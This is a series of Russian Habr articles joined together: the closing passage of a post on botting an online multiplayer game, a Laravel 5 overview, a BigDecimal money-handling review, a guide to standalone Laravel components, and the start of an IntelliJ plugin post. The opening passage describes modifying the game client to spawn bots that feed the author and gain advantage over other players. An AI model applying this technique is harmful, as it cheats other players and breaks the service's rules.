//чтобы сервер не отклонил слишком частые соединения
setTimeout(function(){
game(window, r, isBot, botsUrl, M);
}, 500);
}
//не даем эти копиям рисовать на экране
function paint() {
if(bot) return;
//...
}
```
Так же нужно было дописать код, чтобы при смерти бота, он автоматически начинал новую сессию.
Результаты работы
-----------------
Боты создаются. И находят меня на карте!
Однако, все не так радужно.
Во-первых, сервер раскидывает игроков по игровым комнатам. Поэтому со мной на карту из 50 ботов попадают 2-3. Остальные «играют» в других комнатах, следуя по координатам из соседней Вселенной.
Во-вторых, ботов может съесть кто-то другой! Поэтому им удается придти ко мне где-то пару раз в минуту.
И, наконец, в-третьих, боты маленькие. Идя ко мне, они не набирают особой массы. Поэтому, с определенного этапа, их вклад в мою победу становится минимальным.
Выводы
------
Авторам игры удалось создать замечательный сетевой код, который не ломается от банального хакинга. Однако игра не защищена от ботоводства и немного разобравшись в коде клиента, можно создать себе небольшое техническое преимущество перед остальными.
Если же решить вопрос с тем, чтобы боты подключались на нужную карту, то тогда есть возможность серьезно потеснить своих менее технически-подкованных соперников.
Я же своей маленькой цели достиг:
Может быть благодаря ботам, может быть мне повезло самому.
[ [Итоговый код клиента](https://gist.github.com/edolganov/bda5ba88512bbc6a1f2c) ]
Спасибо за внимание и удачи в игре! | https://habr.com/ru/post/257619/ | null | ru | null |
# Что нового в Laravel 5?
Несколько месяцев назад в студии, где я работаю, было принято решение всей командой перебраться на Laravel. Последние пару лет популярность этого фреймворка неустанно росла, и, как оказалось, не напрасно!
Я не считаю себя гуру в php и фреймворках. До этого пару раз работал с первым и вторым зендом, бессмертным битриксом, сталкивался с Yii и Symfony, изобретал велосипеды сам, но каждый раз у меня оставалось смутное чувство неудовлетворенности.
Например, Zend Framework всегда вызывал у меня желание побыстрее выполнить задачу и забыть о нем как о страшном сне. Сторонники этого фреймворка конечно не согласятся со мной, и я ни в коем случае не хочу критиковать их выбор. Каждому свое. У меня Zend Framework всегда вызывал ощущение, что код писался не людьми и не для людей.
Мне всегда казалось, что те же самые задачи можно решать более просто и элегантно. Хотелось найти фреймворк, на котором мне бы нравилось писать. Который я смог бы выучить как свои пять пальцев и заниматься тем, чем мне и нравится заниматься – программированием, созданием чего-то нового. Я думаю, у каждого плотника есть любимый молоток, и такое желание для программиста вполне естественно. Кто из нас, тех кто пишет на php, не поглядывал с завистью на Rails в Ruby или Django в Python?
Последней каплей стал пост от JetBrains о расширенной поддержке в новой версии PhpStorm 8 шаблонов Blade и Source & Test directories. В этой IDE мы и создали первый проект на Laravel.
Поработав с Laravel, я понял, что нашел то, что искал. Наверное, именно поэтому символом Laravel стал слоган «You have arrived».
С первого дня он не перестает меня приятно удивлять, от документации, сообщества (когда я столкнулся с проблемой при написании этой статьи, я зашел в онлайн чат сообщества, описал проблему и мне ответил лично(!) Taylor Otwell, создатель фреймворка) и туториалов, до различных плюшек, которые можно и нужно использовать уже после размещения проекта на сервере.
Но моя статья не об этом. О плюсах Laravel написано уже достаточно.
В этой статье я хотел бы написать о новой версии Laravel, официальный релиз которой состоится в ноябре, но скачать и попробовать которую можно уже сейчас через Composer.
Изначально версия должна была называться 4.3, но новая структура директорий и некоторые существенные изменения в коде подтолкнули создателей к решению анонсировать версию 5.0.
Насколько серьезными были эти изменения судить вам. Итак, давайте на деле разберемся, что нам готовит Laravel 5.
#### **Установка**
Установка новой версии по сути ничем не отличается от старой. Для начала скачайте Laravel 5, добавив в файл composer.json строку
```
"require": {
//...
"laravel/framework": "5.0.*@dev"
//...
}
```
После этого запустите composer update, и по окончании операции у вас будет установлена последняя версия.
#### **Структура**
Если посмотреть на структуру Laravel 4 и Laravel 5 то сразу можно заметить разницу. Прежде всего, папки Config, Tests, Storage и Database были вынесены из папки App в корень. Появилась новая директория resources.
Возникает логичный вопрос: а что осталось в папке App?
Теперь в папке App хранится только логика самого приложения. Таким образом разработчики узаконили то, что и так делали большинство разработчиков на Laravel до этого — удалили папку model и создали отдельную директорию для всего, что связано с разработкой этого конкретного проекта — модели, команды, события и тому подобное. Прежде всего, это позволяет четко провести границу между кодом самого фреймворка и кодом, который пишет сам разработчик.
В папке App по умолчанию находится 3 новые директории. Директория Console предназначена для классов консольных команд, папка Service Providers содержит классы-поставщики услуг, папка Http содержит контроллеры, фильтры и все, что связано с роутингом.
В свою очередь, в директории Http лежит 3 папки — Controllers для контроллеров приложения, Filters для фильтров маршрутов, которые теперь создаются в виде отдельных классов, и папки Requests, о которой я подробно расскажу ниже.
Папка View была перенесена в директорию Resources, вместе с папкой локализации Lang.
Кому-то новая структура может показаться непривычной, но по себе могу сказать, что уже через пару дней вы поймете, что так намного удобнее.
Первый вопрос, который вероятнее всего возникнет у вас в связи с изменением структуры: а что стало с пространствами имен и автозагрузкой классов?
##### **Пространства имен**
К моей огромной радости, Laravel 5 официально использует стандарт psr-4, а значит каждый класс в папке App, у которого будет правильно задано пространство имен будет доступен для автозагрузчика.
Поэтому просто убедитесь, что каждый класс в этой папке начинается с App\\*название директории и навсегда забудьте о проблемах с загрузкой файлов.
С другой стороны, использование psr-4 означает, что доступ к фасадам теперь требует обращения из глобального пространства имен, например \Auth::\*имя метода\* или \Events::\*имя метода\*.
В связи с этим, фасады теперь необходимо импортировать командой use \имяфасада (например \View) в начале файла или обращаться к ним через обратный слэш.
Кроме этого, теперь необходимо указывать пространства имен для контроллеров. Поэтому удостоверьтесь, что каждый ваш контроллер содержит строку
```
namespace App\Http\Controllers;
```
и использует пространство имен абстрактного контроллера
```
use Illuminate\Routing\Controller;
```
Если вы используете BaseController как родительский класс всех ваших контроллеров, то вы можете вынести последнюю строчку туда, так все ваши контроллеры получат доступ к этому пространству имен.
Корневая папка приложения
Что если вы не хотите обращаться к основной папке вашего приложения как к App? Что если вы привыкли называть директорию, в которой хранится логика приложения, по названию самого приложения, как делали многие в Laravel 4?
Разработчики предусмотрели и это. Вам достаточно просто написать в командной строке $ php artisan app:name и желаемое имя вашего приложения. Laravel самостоятельно изменит пространства имен в необходимых файлах, а также настройки в файлах конфигурации.
Если вы хотите использовать вложенную директорию, то используйте два обратных слэша, например так
```
$ php artisan app:name MyAppName\\HabrProject
```
Кстати, в папке Config появился новый файл namespaces.php, в котором прописывается пространство имен для приложения в целом и пути к файлам. Пригодиться, если будут проблемы с автозагрузкой!
##### **Внедрение параметров метода**
Еще одним мощным нововведением Laravel 5 стало внедрение параметров метода (Method Parameter Injection или просто Method Injection).
Раньше, если в контроллере нам необходим был какой-то класс модели, например репозиторий, мы могли использовать Ioc Container Dependency Injection, то есть передать название класса в конструктор контроллера и присвоить его свойству объекта.
Ioc контейнер самостоятельно создавал экземпляр данного класса и возвращал в свойство контроллера, через который мы получали к нему доступ. И это было круто.
Например, так:
```
class FeedController extends BaseController {
protected $feedbackRepository;
/**
* @param FeedbackRepository $feedbackRepository
*/
public function __construct(FeedbackRepository $feedbackRepository)
{
$this->feedbackRepository = $feedbackRepository;
}
public function index($id)
{
$feed = $this->feedbackRepository->getFeed($id);
return View::make('feed.index', compact('feed'));
}
```
Однако что если объект нужен нам только в одном методе? Зачем создавать в конструкторе целого контроллера экзмепляр объекта, если он будет использован только в одном его методе?
Поэтому в Laravel 5 появилось внедрение параметра метода!
Теперь в любом методе контроллера можно указать класс, и вы автоматически получите доступ к его методам через Ioc контейнер. Наш пример теперь выглядел бы так:
```
class FeedController extends BaseController {
public function index(FeedbackRepository $feedRepo, $id){
$feed = $feedRepo->getFeed($id);
Return view(‘feed.index’, compact(‘feed’)
}
}
```
И все! Волшебным образом Ioc контейнер сам найдет и подключит мой репозиторий.
Но настоящую мощь этого нововведения можно прочувствовать в совокупности с другой новой фичей:
##### **Запросы (Requests) и запросы к форме (FormRequests)**
Помните, я говорил про папку Requests в директории App\Http? Вот мы наконец и добрались до нее.
Давайте вспомним, как мы осуществляли проверку введенных пользователем данных при отправке формы в Laravel 4.2.
Если вы работали с Laravel, то вам безусловно знаком фасад Validator.
Он предоставляет мощный функционал валидации данных, полученных от пользователя. Однако каждый разработчик использовал его по-разному. Кто-то использовал валидатор прямо в контроллере,
кто-то прописывал правила валидации в модели (массив rules[]) и использовал метод isValid.
Теперь об этом можно забыть: Laravel предоставляет отдельный уровень абстракции для обработки запросов к форме.
Давайте разберемся, как это работает.
В командной строке наберите php artisan make:request MyRequest и фреймворк самостоятельно сгенерирует для вас шаблон запроса к форме.
В данном классе, который наследует класс FormRequest, содержится всего 2 метода: authorize и rules.
Rules возвращает массив, в котором вы можете прописать правила валидации для своей формы, совсем как в Laravel 4.
Метод authorize по умолчанию возвращает false.
Если сейчас мы попытаемся отправить форму, связанную с этим классом, в браузере мы получим страницу forbidden(запрещено).
Так вот, метод authorize проверяет, имеет ли право пользователь, обращающийся к форме, ее отправлять. Например имеет ли пользователь право редактировать статью, которую написал не он? Постить комментарий, если он не залогинен? Это именно то место, куда теперь нужно помещать проверки.
Предположим, у нас есть форма, которая публикует статус на стену пользователя. Мы хотим, чтобы поле статус (обычный input type ='text' name ='status') было обязательным для заполнения и содержало, скажем, 20 символов. Нам также нужно проверить, что пользователь публикует статус на свою стену, то есть id страницы пользователя совпадает с id автора поста.
В этом примере наш класс-валидатор выглядел бы так.
```
namespace App\Http\Requests;
use Illuminate\Foundation\Http\FormRequest;
use \Auth;
class AddFeedRequest extends FormRequest {
public function rules()
{
return [
'status' => 'required|min:20',
];
}
public function authorize()
{
return Auth::id() == $this->route->parameter('id');
}
```
Теперь с помощью внедрения параметра метода, о котором мы говорили выше, нам достаточно просто указать название класса в параметрах метода контроллера, ответственного за отправку формы.
Если мы используем REST контроллер, то это будет метод store.
```
public function store(MyRequest $request)
{
//код отправляющий форму
}
```
И все! Больше ничего делать не нужно! Laravel сам осуществит валидацию формы и выполнит код, содержащийся в методе контроллера, если валидация пройдет успешно. Еще раз: ни единая строчка кода из метода store не будет исполнена, если форма не проходит валидацию. На мой взгляд, это безумно круто!
##### **Генераторы**
Если мы наберем в командной строке php artisan мы увидим целый новый раздел, который называется make:
Мы уже воспользовались одним из них, для генерации класса myRequest. Кроме этого, команда make: поможет создать контроллер, консольную команду,
фильтр, миграцию, поставщика услуг.
Особенно хочу выделить команду php artisan make:auth. Этот генератор сделает за вас то, что вы делали снова и снова в каждом новом проекте — систему авторизации пользователя.
Если мы выполним ее сейчас, мы увидим, что Laravel создаст для нас два контроллера — один отвечающий за авторизацию, второй — за восстановление пароля, миграцию password resets, 2 класса-валидатора для запросов login и register. Всего одна команда и шаблон для авторизации готов!
##### **Кэширование маршрутов**
Команда routes тоже разрослась в целый раздел. Теперь чтобы посмотреть список маршрутов нужно ввести php artisan route:list.
Здесь же трудно не заметить новую команду route:cache. Она делает очень простую вещь — кэширует ваши маршруты.
Если выполнить эту команду, вы увидите, что в папке storage/meta появился файл routes.php. В нем содержится кэш ваших маршрутов. Теперь Laravel будет в первую очередь обращаться к нему, а не к основному файлу http/routes.php.
При разработке это едва ли пригодится, по крайней мере, мне сложно представить такую ситуацию, а вот при деплое, когда проект уже написан и новые маршруты добавляются редко, это может быть очень полезным.
##### **Контракты**
Все компоненты Laravel 5 теперь реализуют тот или иной интерфейс из папки illuminate/contracts. Таким образом разработчики попытались сделать ваше приложение более гибким и менее зависимым от самого Laravel.
В Laravel 4 зачастую возникали проблемы с type-hinting-ом интерфейсов. Если вы указывали в параметрах метода экземпляр объекта, который должен реализовывать некий интерфейс, Ioc контейнер рассматривал его как dependency injection и пытался создать экземпляр класса, что приводило к ошибкам.
Чтобы решить эту проблему нужно было напрямую связывать интерфейс с конкретным классом-реализацией интерфейса с помощью app::bind. Однако это все равно вызывало некоторые проблемы, например при unit-тестировании.
В Laravel 5 достаточно использовать интерфейс в начале файла с помощью use (например use Illuminate\Contracts\Mailer) и type-hinting будет работать как надо.
Это позволяет писать более гибкие приложения, не привязываясь к конкретным классам-реализациям.
Что если в дальнейшем вы захотите подключить другой модуль авторизации, отличный от стандартного модуля Laravel? Другой модуль кэширования? Отправки писем? Просто убедитесь, что он реализует интерфейс из папки contracts и пишите код, опираясь на type-hinting интерфейсов.
##### **Новые функции помощники**
Мелочь, которую вы будете снова и снова использовать в своих проектах: подключение файлов представления теперь доступно через функцию view('имяпредставления'). Старый способ View::make тоже работает, но теперь к нему, как я уже сказал выше, нужно обращаться через обратный слэш.
Такая же участь постигла и Redirect::to – теперь можно просто писать redirect(‘маршрут’).
Из других изменений в привычных инструментах работы стоит упомянуть и то, что фасады HTML и Form теперь не входят в стандартный пакет Laravel. Не бойтесь, если вы к ним привыкли, вы без труда сможете подключить их через composer.
##### **Socialite**
В Laravel 5 появился собственный модуль Socialite Beta, который предназначен для аутентификации сторонних сервисов, таких как Twitter, Facebook, GitHub. Нам приходилось довольно часто дописывать плагины для авторизации под различные социальные сети и как было бы здорово, если бы в других фреймворках были подобные инструменты. Плагин является опциональным и для его добавления достаточно лишь подключить зависимость. Посудите сами, нужно всего лишь создать конфиг провайдера и после этого все необходимые методы будут доступны в виде:
```
$this->socialite->driver('twitter')->user();
```
Всё, что для этого нужно сделать, это подключить соответствующий класс в начале вашего файла:
use Laravel\Socialite\Contracts\Factory as SocialiteFactory;
В ближайшее время планируем дописать авторизацию и для vk.
##### **Blade**
Из изменений в Blade, есть одно существенное, из-за которого сообщество за последние пару дней создало десятки однотипных вопросов. Теперь и тег {{ link\_to\_route('login\_path') }} и тег{{{ link\_to\_route('login\_path') }}} будут экранироваться и выводиться как текст, чтобы снизить риск инъекций кода.
Вместо этого придется использовать конструкцию
```
{!! link_to_route('login_path') !!}
```
Кстати, для облегчения перехода на новую версию Blade можно заменить теги на старые:
Blade::setRawTags($openTag, $closeTag);
Тогда не придётся переписывать все представления.
#### **Резюме**
Пятая версия именно та версия, с которой теперь следует начинать знакомство с Laravel, если вы всё ещё откладываете этот волнующий момент. Подавляющие большинство плагинов уже поддерживает новую версию фреймворка, а к релизу будет готова исчерпывающая документация. Laravel на мой взгляд это наиболее интересный и перспективный проект в php-сообществе за последнее время. Приятно видеть, как с каждым днем он привлекает все больше сторонников.
Если вы хотите поподробнее узнать о Laravel, вот несколько полезных ресурсов:
• [laravel.com](http://laravel.com)
• [laravel.io](http://laravel.io)
• [laracasts.com](https://laracasts.com)
Возможно я что-то упустил, тогда пишите в личку, я подправлю. Спасибо за внимание! Надеюсь статья была полезной. | https://habr.com/ru/post/238017/ | null | ru | null |
# Как работать с деньгами, или денежные суммы в бэкенд-разработке
Наша команда периодически пополняется новыми людьми, которые «приносят с собой» новые ошибки. Поэтому мы регулярно проводим семинары с их разбором. Это хороший повод напомнить всем о правилах работы с суммами, объяснить новичкам зачем они нужны и, возможно, пополнить наш чек-лист, с помощью которого мы проверяем код на типовые ошибки.
Вот один из примеров, который на таком семинаре разобрал наш руководитель разработки сервисной цифровой платформы Сергей Богданов.
#### Что не так с этим кодом?
```
@Component
class CreditTotalQtyCalculator {
fun calculateWithInsurance(
desiredAmount: BigDecimal,
rateQty: BigDecimal,
creditTerm: Int
): BigDecimal {
val divisor = BigDecimal.ONE.minus(rateQty.multiply(BigDecimal(creditTerm)).divide(
BigDecimal(
12
)
))
return desiredAmount.divide(divisor, 0, RoundingMode.HALF_UP)
}
}
```
Почему он выдал ошибку на этапе прохождения тестирования перед выходом в пром?
```
import java.math.*;
public class Main {
public static void main(String[] args) {
var a = new BigDecimal(16);
var b = new BigDecimal(12);
var c = a.divide(b);
System.out.println(c);
}
}
```
### Ошибка округления BigDecimal.Divide
Проблема вот в чем: не указана точность округления при делении divide (это, кстати, есть в нашем чек-листе: «не используем суммы в виде чисел с плавающей точкой»).
Любые вычисления должны приводить также к точному числу, но в делении может образоваться бесконечная дробь.Поэтому когда используем BigDecimal, мы должны указать, что результат должен быть с фиксированной точностью.
Иначе что делать машине, если при делении получается бесконечная дробь. Например, если в формуле 16/12 = 4/3 – рациональное число для которого не существует точной записи в десятичной системе. Это бесконечная дробь, такую запись невозможно сделать. Происходит арифметическое исключение в функции BigDecimal, в которой параметр scale — неограниченный.
В BigDecimal есть опасные методы, которые надо внимательно изучить, прежде чем использовать. Смотрим код дальше, что еще тут можно улучшить? Возник вопрос: зачем в этом коде делим на 12? Что это такое? Какая размерность? Зачем мы каждый раз это деление производим? Это вычисление можно вывести в переменную.
Решение: вводим переменную periodInMonth, описываем. Проверяем на условие положительности.
```
@Component
class CreditTotalQtyCalculator {
fun calculateWithInsurance(
desiredAmount: BigDecimal,
rateQty: BigDecimal,
creditTerm: Int
): BigDecimal {
val periodInMonths = BigDecimal(12)
val divisor = BigDecimal.ONE.minus(rateQty.multiply(BigDecimal(creditTerm)).divide(periodInMonths))
return desiredAmount.divide(divisor, 0, RoundingMode.HALF_UP)
}
}
```
### Размерность переменных
Важное правило при работе с денежными суммами:сумма — это не просто число, но и размерность.Рубли или копейки? Центы или доллары? Размерность должна включать валюту. Рядом с каждым значением должен быть указан тип илучше «вэлью-объект», который содержит одновременно размерность суммы и валюты. И для каждой валюты используются своя размерность: для рублей — копейки, для биткоина — «сатоши». Она помогает понять, что делает метод, и не дает совершить ошибку (например, складывание рублей с долларами).
```
@Component
class CreditTotalQtyCalculator {
fun calculateWithInsurance(
desiredAmount: BigDecimal, // RUB
rateQty: BigDecimal, // ???
creditTerm: Int // ???
): BigDecimal { // 1 - (rateQty * creditTerm) / periodInMonths
val periodInMonth = BigDecimal(12)
val one = BigDecimal.ONE // ???
val divisor = one.minus(rateQty.multiply(BigDecimal(creditTerm)).divide(
periodInMonth
))
return desiredAmount.divide(divisor, 0, RoundingMode.HALF_UP)
}
}
```
*Здесь у 12 размерность — месяцы, у BigDecimal – рубли. А какая размерность у rateQty? А у creditTerm? Что за единица one?*
В чек-листе разработчика есть правило: сумма всегда идет вместе с валютой. Для переменных можно завести класс или добавить к имени переменной слово, обозначающее единицы измерения. Например, у нас есть правило добавлять day/hour для времени.
Важно: сумма не должна быть отрицательной.Кредит на отрицательную сумму значит, что не банк выдает кредит клиенту, а наоборот. Поэтому сумма должна быть описана как положительная.
Пример про размерность из практики: процессинг части клиентов, с которыми работает наш платежный хаб — в рублях, а другой части – в копейках. Почему так? Во-первых, это «тянется» из стандарта [ISO 8583](https://ru.wikipedia.org/wiki/ISO_8583), который используется в терминалах MS и Visa.
А во-вторых, когда системы создавались, не было альтернативы: не существовало чисел с фиксированной точкой, и нельзя было настроить точность и алгоритм округления. Поэтому самое простое решение — хранить в целых, в копейках
Вроде просто, но были и свои проблемы. К примеру, суммы больше 2^31 - 1 (больше 2 млрд копеек) не влезали в разрядность и приходилось создавать решение для округления.
> Кстати. В нашем чек-листе есть правило, что все публичные классы и методы должны иметь комментарии, чтобы разобраться в коде мог любой. Сначала определяемся с задачей, описываем в комментариях как должен работать метод, а уже после этого корректируем реализацию.
>
>
### Используем value0f для экономии
Еще можно добавить value0f — фабричный метод, который позволяет переиспользовать частое значение и экономить на этом память. value0f — это стандартный шаблон, который называется lightweight.
```
// Cache of common small BigDecimal values.
private static final BigDecimal ZERO_THROUGH_TEN[] = {
new BigDecimal(BigInteger.ZERO, 0, 0, 1),
new BigDecimal(BigInteger.ONE, 1, 0, 1),
new BigDecimal(BigInteger.TWO, 2, 0, 1),
new BigDecimal(BigInteger.valueOf(3), 3, 0, 1),
new BigDecimal(BigInteger.valueOf(4), 4, 0, 1),
new BigDecimal(BigInteger.valueOf(5), 5, 0, 1),
new BigDecimal(BigInteger.valueOf(6), 6, 0, 1),
new BigDecimal(BigInteger.valueOf(7), 7, 0, 1),
new BigDecimal(BigInteger.valueOf(8), 8, 0, 1),
new BigDecimal(BigInteger.valueOf(9), 9, 0, 1),
new BigDecimal(BigInteger.TEN, 10, 0, 2),
};
```
### Точность – в настройки
Важный момент. Если вчера нам точность была не нужна, а сегодня вдруг понадобилась (было неопределенное значение, а теперь — 7), то можно предположить, что завтра значение может снова измениться. Поэтому надо заранее предусмотреть возможность такого изменения и вынести точность в настройки.
### Потери округления — рефакторим формулы
Еще в этом коде есть два деления и каждое требует округления. Два округления – это потеря точности, чем округлений меньше, тем лучше. Надо преобразовать формулу так, чтобы округление было одно:
```
@Component
class CreditTotalQtyCalculator {
fun calculateWithInsurance(
desiredAmount: BigDecimal, // RUB
rateQty: BigDecimal, // ???
creditTerm: Int // ???
): BigDecimal { // 1 - (rateQty * creditTerm) / periodInMonths
val periodInMonths = BigDecimal(12)
val precision = 0
return desiredAmount
.multiply(periodInMonths)
.divide(periodInMonths.minus(rateQty.multiply(BigDecimal.valueOf(creditTerm.toLong()))),
precision, RoundingMode.HALF_UP)
}
}
```
*Нам не нужно округление до 7, т.к. возвращаемый параметр с округлением до 0 десятых, т.к. вычисляется день.*
Добавим про roundingMode.HALF\_UP/EVEN/DOWN: в разных ситуациях округление может быть в определенную сторону. Чтобы и 5,5, и 6,5 не округлялось до 6, необходим отдельный параметр, описывающий каким должно быть это округление и почему.
### Код валюты
В нашей стране есть еще легаси-код валюты — RUR (код 810) – обозначение нашей валюты до 29.02.2004. Именно до этого времени планировали полностью провести деноминацию и завершить работу со старой валютой. В начем чек-лите прописано, что код валюты должен быть RUB (643):
Тут важно правило: когда принимаете из другой системы старое обозначение, нужно принять его как есть, переработать и в новом коде выдать RUB. При этом надо быть готовым к тому, что в какой-то момент ту систему отключат, а ваш код должен работать и без нее. | https://habr.com/ru/post/659675/ | null | ru | null |
# Делим Laravel на компоненты
Привет, Хабр. Недавно получил в руки интересный проект, который, несмотря на свою простоту требовал не использовать какой-либо фреймворк. О пакетах речи не шло, поэтому было принято решение использовать привычные компоненты Laravel. Если есть необходимость в использовании очередей, Eloquent или контейнера — добро пожаловать под кат.
О простоте деления фреймворка на компоненты
-------------------------------------------
Начиная с Laravel 4, все компоненты — отдельные пакеты, которые в теории можно заставить работать в любом PHP проекте. Однако, некоторые компоненты требуют дополнительной настройки, которая в основном фреймворке спрятана под капот.
Компоненты
----------
### Контейнер
Из всех рассматриваемых компонентов `illuminate/container` — самый простой в установке и использовании.
```
php
use Illuminate\Container\Container;
$container = Container::getInstance();
return $container-make(Foo::class);
```
Впрочем, вызов статичного метода на классе `Container` при каждом использовании контейнера — не самая лучшая идея. В фреймворке доступен [`хелпер app()`](https://github.com/laravel/framework/blob/6.x/src/Illuminate/Foundation/helpers.php#L107), который вернёт нам инстанс глобального контейнера, однако, нам такой нужно создать вручную.
Создадим файл `helpers.php` для таких хелперов, и добавим его в автозагрузку.
```
"autoload": {
"files": [
"src/helpers.php"
],
"psr-4": {
"YourApp\\": "src/"
}
}
```
Добавляем хелпер `app()` в файл.
```
php
use Illuminate\Container\Container;
if (! function_exists('app')) {
/**
* Get the available container instance.
*
* @param string|null $abstract
* @param array $parameters
* @return mixed|\Illuminate\Container\Container
*/
function app($abstract = null, array $parameters = [])
{
if (is_null($abstract)) {
return Container::getInstance();
}
return Container::getInstance()-make($abstract, $parameters);
}
}
```
Готово. Можно пробовать использовать хелпер.
```
php
return app(Foo::class);</code
```
### Query Builder и Eloquent
Для использования компонента `illuminate/database` мы будем использовать `Capsule\Manager` — класс, предназначенный для работы с построителем запросов вне Laravel.
Начнём с настройки подключения к БД. Желательно эту настройку проводить на этапе запуска вашего приложения, сразу после подключения `autoload.php`.
```
php
require_once __DIR__.'/../vendor/autoload.php';
use Illuminate\Database\Capsule\Manager;
$manager = new Manager;
$manager-addConnection([
'driver' => 'mysql',
'host' => 'localhost',
'database' => 'database',
'username' => 'root',
'password' => 'password',
'charset' => 'utf8',
'collation' => 'utf8_unicode_ci',
'prefix' => '',
]);
// Позволяет использовать статичные вызовы при работе с Capsule.
$manager->setAsGlobal();
```
Можно начинать работу с построителем запросов.
```
php
use Illuminate\Database\Capsule\Manager;
return Manager::table('orders')-get();
```
Что насчёт Eloquent?
```
php
namespace YourApp\Models;
use Illuminate\Database\Eloquent\Model;
class Order extends Model {
protected $fillable = [
'name',
];
}</code
```
```
php
use YourApp\Models\Order;
Order::first();</code
```
С миграциями ситуация сложнее — с одной стороны, в комплекте есть Schema Builder. С другой — автоматический механизм запуска миграций отсутствует.
```
php
use Illuminate\Database\Capsule\Manager;
Manager::schema()-create('orders', function ($table) {
$table->bigIncrements('id');
$table->string('name');
$table->timestamps();
});
```
Для запуска достаточно выполнить файл с миграцией: `php migration.php`
### Очереди
У очередей тоже есть свой `Capsule`, однако аналоги `queue:work` и `queue:listen` необходимо писать вручную.
Начнём с класса `Application`. В Laravel [этот класс](https://laravel.com/api/6.x/Illuminate/Contracts/Foundation/Application.html) используется как глобальный инстанс контейнера, который помимо методов `Illuminate\Container\Container` содержит вспомогательные методы для работы с фреймворком (текущая версия, пути к хранилищу, ресурсам). Однако, наш класс будет содержать лишь один метод — `isDownForMaintenance`. Он необходим для работы воркера, так как определяет состояние работы приложения в данный момент.
```
php
namespace YourApp;
use Illuminate\Container\Container;
class Application extends Container {
public function isDownForMaintenance()
{
return false;
}
}</code
```
Далее, нам необходимо зарегистрировать провайдер `illuminate/events`, и забиндить контракт `Illuminate\Contracts\Events\Dispatcher` к алиасу `events`.
```
php
use YourApp\Application;
use Illuminate\Contracts\Events\Dispatcher;
$application = Application::getInstance();
$application-bind(Dispatcher::class, 'events');
```
Теперь необходимо создать инстанс `Capsule`, и добавить туда конфигурации соединений.
**Пример конфигурации для БД**
```
php
use YourApp\Application;
use Illuminate\Queue\Capsule\Manager;
use Illuminate\Database\Capsule\Manager as DB;
use Illuminate\Database\ConnectionResolver;
$container = Application::getInstance();
$queue = new Manager($container);
$queue-addConnection([
'driver' => 'database',
'table' => 'jobs',
'connection' => 'default',
'queue' => 'default',
], 'default');
// Также, как и с Illuminate\Database\Capsule\Manager позволяет использовать статичные вызовы для очередей
$queue->setAsGlobal();
$connection = Capsule::schema()->getConnection();
$resolver = new ConnectionResolver(['default' => $connection]);
$queue->getQueueManager()->addConnector('database', function () use ($resolver) {
return new DatabaseConnector($resolver);
});
```
**Пример конфигурации для Redis (требует установленного `illuminate/redis`)**
```
php
use Illuminate\Redis\RedisManager;
use Illuminate\Queue\Capsule\Manager;
$container-bind('redis', function () use ($container) {
return new RedisManager($container, 'predis', [
'default' => [
'host' => '127.0.0.1',
'password' => null,
'port' => 6379,
'database' => 0,
]
]);
});
$queue = new Manager($container);
$queue->addConnection([
'driver' => 'redis',
'connection' => 'default',
'queue' => 'default',
], 'default');
$queue->setAsGlobal();
```
Последний этап в конфигурации — добавление аналога [Exception Handler](https://github.com/laravel/framework/blob/6.x/src/Illuminate/Foundation/Exceptions/Handler.php).
```
php
use Illuminate\Contracts\Debug\ExceptionHandler;
class Handler implements ExceptionHandler {
public function report(Exception $e)
{
// Действие, если Exception подпадает под критерии об уведомлении.
// Пример: отправка в Sentry, отправка сообщения на почту.
}
public function render($request, Exception $e)
{
// Отображение ошибки
}
public function renderForConsole($output, Exception $e)
{
// Отображение ошибки, если среда запуска приложения - терминал
}
public function shouldReport(\Exception $e)
{
// Необходимо ли уведомлять об ошибке
}
}
app()-bind('exception.handler', function () {
return new Handler;
});
```
Конфигурация очередей завершена. Теперь можно приступать к написанию `queue:work`.
```
php
require_once __DIR__.'/bootstrap/bootstrap.php';
use Illuminate\Queue\Worker;
use Illuminate\Queue\Capsule\Manager;
use Illuminate\Queue\WorkerOptions;
$queueManager = Manager::getQueueManager();
$worker = new Worker($queueManager, app('events'), app('exception.handler'));
$worker-daemon('default', 'default', new WorkerOptions);
```
Теперь для запуска воркера очередей достаточно написать `php worker.php`.
Если же есть необходимость в использовании `queue:listen`, то нужно создавать два отдельных файла. Один — демон, который слушает очередь, и запускает второй файл на каждый новый job. Второй файл, в свою очередь, выступает в роли исполнителя задачи.
**worker.php**
```
php
require_once __DIR__.'/bootstrap/bootstrap.php';
use Illuminate\Queue\Listener;
use Illuminate\Queue\ListenerOptions;
// По умолчанию, в качестве "второго файла", в Laravel выступает artisan, однако в нашем случае это будет файл work.php.
// https://github.com/laravel/framework/blob/6.x/src/Illuminate/Queue/Listener.php#L72
define('ARTISAN_BINARY', 'work.php');
$worker = app(Listener::class, ['commandPath' = __DIR__]);
$worker->setOutputHandler(function ($type, $line) {
echo $line;
});
$worker->listen('default', 'default', new ListenerOptions);
```
**work.php**
```
php
require_once 'bootstrap/bootstrap.php';
use Illuminate\Queue\Worker;
use Illuminate\Queue\WorkerOptions;
use Illuminate\Queue\Capsule\Manager;
$queueManager = Manager::getQueueManager();
$worker = new Worker($queueManager, app('events'), app('exception.handler'));
$worker-runNextJob('default', 'default', new WorkerOptions);
```
Переходим к использованию. Все методы можно просмотреть в [API](https://laravel.com/api/6.x/Illuminate/Queue/Capsule/Manager.html)
```
php
use Illuminate\Queue\Capsule\Manager;
Manager::push(SomeJob::class);</code
``` | https://habr.com/ru/post/475144/ | null | ru | null |
# Создание плагина для Intellij IDEA. Заметки и мелкие советы
Полгода назад или около того я загорелся-таки идей написать свой плагин для Intellij IDEA. Согласно задумке, он должен был считать, сколько времени разработчик потратил на проект (всего, за день, за сеанс) и отображать результат на диаграмме. Никакой магии, но такая функция здорово помогла бы мне рассчитывать время работы.
Пролистав каталог существующих плагинов, я все же нашел один подобный. Но никаких диаграмм он не рисовал, открывался через два выпадающих списка — что жуть, как неудобно, — да и на вид оказался довольно скудным.
Короче, я еще больше укрепился в вере, что мой плагин был бы полезен, и приступил к работе. Сразу хочу сказать, что материалов по разработке плагинов Intellij IDEA не просто мало, а их почти что нет.
Но кое-что все же раскопать удалось.
Полезные ссылки
---------------
[Документация от JetBrains](http://www.jetbrains.org/intellij/sdk/docs/welcome.html)
[Форум разработчиков плагинов для Intellij Platform](https://devnet.jetbrains.com/community/idea/open_api_and_plugin_development)
[Коротко и понятно о том, где взять исходный код IDE](http://www.jetbrains.org/intellij/sdk/docs/basics/checkout_and_build_community.html)
